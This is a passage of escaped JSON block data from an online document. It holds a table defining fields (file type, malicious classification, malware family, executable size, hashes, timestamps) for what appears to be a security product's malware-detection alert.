4;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnksc6a2eACqoEKCLwKtBLyg&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;文件类型&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnEe2GeYwUmuUaeiFqhFocKf&#34;:{&#34;id&#34;:&#34;doxcnEe2GeYwUmuUaeiFqhFocKf&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcn2oWIMmK4Qu0K44SboILQaf&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcn2oWIMmK4Qu0K44SboILQaf&#34;:{&#34;id&#34;:&#34;doxcn2oWIMmK4Qu0K44SboILQaf&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnEe2GeYwUmuUaeiFqhFocKf&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+5&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;class&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnkmGeAQGuOsQuwr1BEwWglh&#34;:{&#34;id&#34;:&#34;doxcnkmGeAQGuOsQuwr1BEwWglh&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcniqS8emIgWCoayK8GLac2fB&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcniqS8emIgWCoayK8GLac2fB&#34;:{&#34;id&#34;:&#34;doxcniqS8emIgWCoayK8GLac2fB&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnkmGeAQGuOsQuwr1BEwWglh&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;恶意分类&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnMAs2EUqsoMWiojvtbcNAKe&#34;:{&#34;id&#34;:&#34;doxcnMAs2EUqsoMWiojvtbcNAKe&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnMeYi2uuUeCcQcpRNSnyRyd&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnMeYi2uuUeCcQcpRNSnyRyd&#34;:{&#34;id&#34;:&#34;doxcnMeYi2uuUeCcQcpRNSnyRyd&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnMAs2EUqsoMWiojvtbcNAKe&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;name&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnAMKWMoaisKGcMLDefj6cmf&#34;:{&#34;id&#34;:&#34;doxcnAMKWMoaisKGcMLDefj6cmf&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcn6aMIuQcaSeIciEL48UWwxd&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcn6aMIuQcaSeIciEL48UWwxd&#34;:{&#34;id&#34;:&#34;doxcn6aMIuQcaSeIciEL48UWwxd&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnAMKWMoaisKGcMLDefj6cmf&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;恶意家族&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnAKiiuqSqsAQsctF2AtiNIe&#34;:{&#34;id&#34;:&#34;doxcnAKiiuqSqsAQsctF2AtiNIe&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnK2OqKqS4cW8MG2VQ9WYxmh&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnK2OqKqS4cW8MG2VQ9WYxmh&#34;:{&#34;id&#34;:&#34;doxcnK2OqKqS4cW8MG2VQ9WYxmh&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnAKiiuqSqsAQsctF2AtiNIe&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;exe&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnS8mkuwA22YoYkURYfNwfPR&#34;:{&#34;id&#34;:&#34;doxcnS8mkuwA22YoYkURYfNwfPR&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcniIEGoOeKoiKiIPyhx1ccge&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcniIEGoOeKoiKiIPyhx1ccge&#34;:{&#34;id&#34;:&#34;doxcniIEGoOeKoiKiIPyhx1ccge&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnS8mkuwA22YoYkURYfNwfPR&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;目标文件&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnc8mqm2wK8oqUYfuBDGxPyh&#34;:{&#34;id&#34;:&#34;doxcnc8mqm2wK8oqUYfuBDGxPyh&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnYQ48KCW4WeKcsBr0OzcIgf&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnYQ48KCW4WeKcsBr0OzcIgf&#34;:{&#34;id&#34;:&#34;doxcnYQ48KCW4WeKcsBr0OzcIgf&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnc8mqm2wK8oqUYfuBDGxPyh&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+8&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;exe_size&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnIMsmE4SMOEmUO2XzCCIKbf&#34;:{&#34;id&#34;:&#34;doxcnIMsmE4SMOEmUO2XzCCIKbf&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnocye2Iq4Miiyc1oOGoskgf&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnocye2Iq4Miiyc1oOGoskgf&#34;:{&#34;id&#34;:&#34;doxcnocye2Iq4Miiyc1oOGoskgf&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnIMsmE4SMOEmUO2XzCCIKbf&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+a&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;文件大小（byte）&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcncIyUsSmC4gqScdjCDcxVmg&#34;:{&#34;id&#34;:&#34;doxcncIyUsSmC4gqScdjCDcxVmg&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnMUmwkEg4cKicwSTUkyX8db&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnMUmwkEg4cKicwSTUkyX8db&#34;:{&#34;id&#34;:&#34;doxcnMUmwkEg4cKicwSTUkyX8db&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncIyUsSmC4gqScdjCDcxVmg&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+8&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;exe_hash&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcn4SEc6imiA0a4lNUtsDsiik&#34;:{&#34;id&#34;:&#34;doxcn4SEc6imiA0a4lNUtsDsiik&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcng8Ugsooc2KEsUtQ8apUOKg&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcng8Ugsooc2KEsUtQ8apUOKg&#34;:{&#34;id&#34;:&#34;doxcng8Ugsooc2KEsUtQ8apUOKg&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcn4SEc6imiA0a4lNUtsDsiik&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+p&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;快速hash，对标 driver exe_hash&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnciAEcGeAMEMuAh0g0fPKNc&#34;:{&#34;id&#34;:&#34;doxcnciAEcGeAMEMuAh0g0fPKNc&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnaeimK48yUC4OAv0gmuIAxg&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnaeimK48yUC4OAv0gmuIAxg&#34;:{&#34;id&#34;:&#34;doxcnaeimK48yUC4OAv0gmuIAxg&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnciAEcGeAMEMuAh0g0fPKNc&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+8&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;md5_hash&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnQCm6CiSSimYWM5h76sQwwd&#34;:{&#34;id&#34;:&#34;doxcnQCm6CiSSimYWM5h76sQwwd&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnC8yeO4owQWSEMHnZpSZiTg&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnC8yeO4owQWSEMHnZpSZiTg&#34;:{&#34;id&#34;:&#34;doxcnC8yeO4owQWSEMHnZpSZiTg&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnQCm6CiSSimYWM5h76sQwwd&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;80bb6ce1-a516-4c8e-a3f4-654329f12a71\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_264\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;md5&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcn6wYiumUsuUMIy0MzhI2O6b&#34;:{&#34;id&#34;:&#34;doxcn6wYiumUsuUMIy0MzhI2O6b&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnuQm0WmCcUWYo47bGy91jqf&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnuQm0WmCcUWYo47bGy91jqf&#34;:{&#34;id&#34;:&#34;doxcnuQm0WmCcUWYo47bGy91jqf&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcn6wYiumUsuUMIy0MzhI2O6b&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+9&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;create_at&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcngwC6IoGgCCKMqOE5uQegDg&#34;:{&#34;id&#34;:&#34;doxcngwC6IoGgCCKMqOE5uQegDg&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnMOyUm8kcY2YwUT9rz3Jpwh&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnMOyUm8kcY2YwUT9rz3Jpwh&#34;:{&#34;id&#34;:&#34;doxcnMOyUm8kcY2YwUT9rz3Jpwh&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcngwC6IoGgCCKMqOE5uQegDg&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+p&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;文件 brith_time, 文件系统不支持则为0&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnoYO0eq0q68k22TGkJuIjIb&#34;:{&#34;id&#34;:&#34;doxcnoYO0eq0q68k22TGkJuIjIb&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnGmoUUeWKsMMukN2VPrgDNc&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnGmoUUeWKsMMukN2VPrgDNc&#34;:{&#34;id&#34;:&#34;doxcnGmoUUeWKsMMukN2VPrgDNc&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnoYO0eq0q68k22TGkJuIjIb&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+9&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;modify_at&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnOYMW4COmuYCs4f2xip5ANf&#34;:{&#34;id&#34;:&#34;doxcnOYMW4COmuYCs4f2xip5ANf&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcn4OMYaeIYW8KCY3lIvXMDvf&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcn4OMYaeIYW8KCY3lIvXMDvf&#34;:{&#34;id&#34;:&#34;doxcn4OMYaeIYW8KCY3lIvXMDvf&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnOYMW4COmuYCs4f2xip5ANf&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+i&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;文件修改时间, 文件系统不支持则为0&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcn8cOoeu8kUCweAEDWNKPm20&#34;:{&#34;id&#34;:&#34;doxcn8cOoeu8kUCweAEDWNKPm20&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;heading3&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;3.2.2.进程信息（6002 进程的可执行文件命中）&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4*1+n&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]},&#34;nextNum&#34;:2}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;:{&#34;id&#34;:&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;table&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;columns_id&#34;:[&#34;col12667b42-4ed3-48c7-a648-516237ec2848&#34;,&#34;col2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;],&#34;rows_id&#34;:[&#34;row5e37d718-a016-416e-9b35-438d1f9e0091&#34;,&#34;row98c9f620-e802-45bc-bd67-3be3418bd321&#34;,&#34;row26ff88fb-8740-4c63-a32c-33e06d84a2da&#34;,&#34;row24731a7d-e4d9-4bb2-8a32-e9b32bc6cb98&#34;,&#34;rowb4fbeeee-244c-456d-a0a6-560917c42089&#34;,&#34;row40ed7d86-e73b-43ef-b86f-7e96468f598c&#34;,&#34;row6c8bb293-0ed5-4f46-9ce4-2504e537f489&#34;,&#34;row389919cc-99d3-4e44-a9fa-943ec1e30004&#34;,&#34;row1be4654e-9611-4024-bf80-3769913207a6&#34;],&#34;column_set&#34;:{&#34;col12667b42-4ed3-48c7-a648-516237ec2848&#34;:{&#34;column_width&#34;:100},&#34;col2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;:{&#34;column_width&#34;:322}},&#34;cell_set&#34;:{&#34;row1be4654e-9611-4024-bf80-3769913207a6col12667b42-4ed3-48c7-a648-516237ec2848&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcn6oygqGeqWoeystktVGjmkq&#34;},&#34;row1be4654e-9611-4024-bf80-3769913207a6col2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnUaKG2GAq0gCCMRuEmvh89d&#34;},&#34;row24731a7d-e4d9-4bb2-8a32-e9b32bc6cb98col12667b42-4ed3-48c7-a648-516237ec2848&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnikSgOgcMYAQkSgPeWeuNIb&#34;},&#34;row24731a7d-e4d9-4bb2-8a32-e9b32bc6cb98col2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnICyQkOMYe8eciEnSuC7hOh&#34;},&#34;row26ff88fb-8740-4c63-a32c-33e06d84a2dacol12667b42-4ed3-48c7-a648-516237ec2848&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcn8I2uIq4ckIEM2tspLUXSdd&#34;},&#34;row26ff88fb-8740-4c63-a32c-33e06d84a2dacol2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnW8a60e0skwwmGs3oYQyK0c&#34;},&#34;row389919cc-99d3-4e44-a9fa-943ec1e30004col12667b42-4ed3-48c7-a648-516237ec2848&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcn2kC2cmy8GMMYGWWPqYbgGd&#34;},&#34;row389919cc-99d3-4e44-a9fa-943ec1e30004col2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcni8KGE4o4KEykCivhuqn01c&#34;},&#34;row40ed7d86-e73b-43ef-b86f-7e96468f598ccol12667b42-4ed3-48c7-a648-516237ec2848&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnIQCSo4AgWW6sO2PtweK6xe&#34;},&#34;row40ed7d86-e73b-43ef-b86f-7e96468f598ccol2aecdd23-a6b5-4b46-9c86-4b0b7bd30995&#34;:{&#34;merge_info&#34;:{&#34;row_span&#34;:1,&#34;col_span&#34;:1},&#34;block_id&#34;:&#34;doxcnUuWGkkgKKyKmITC4R9s9Nd&#34;},&#34;row5e37d718-a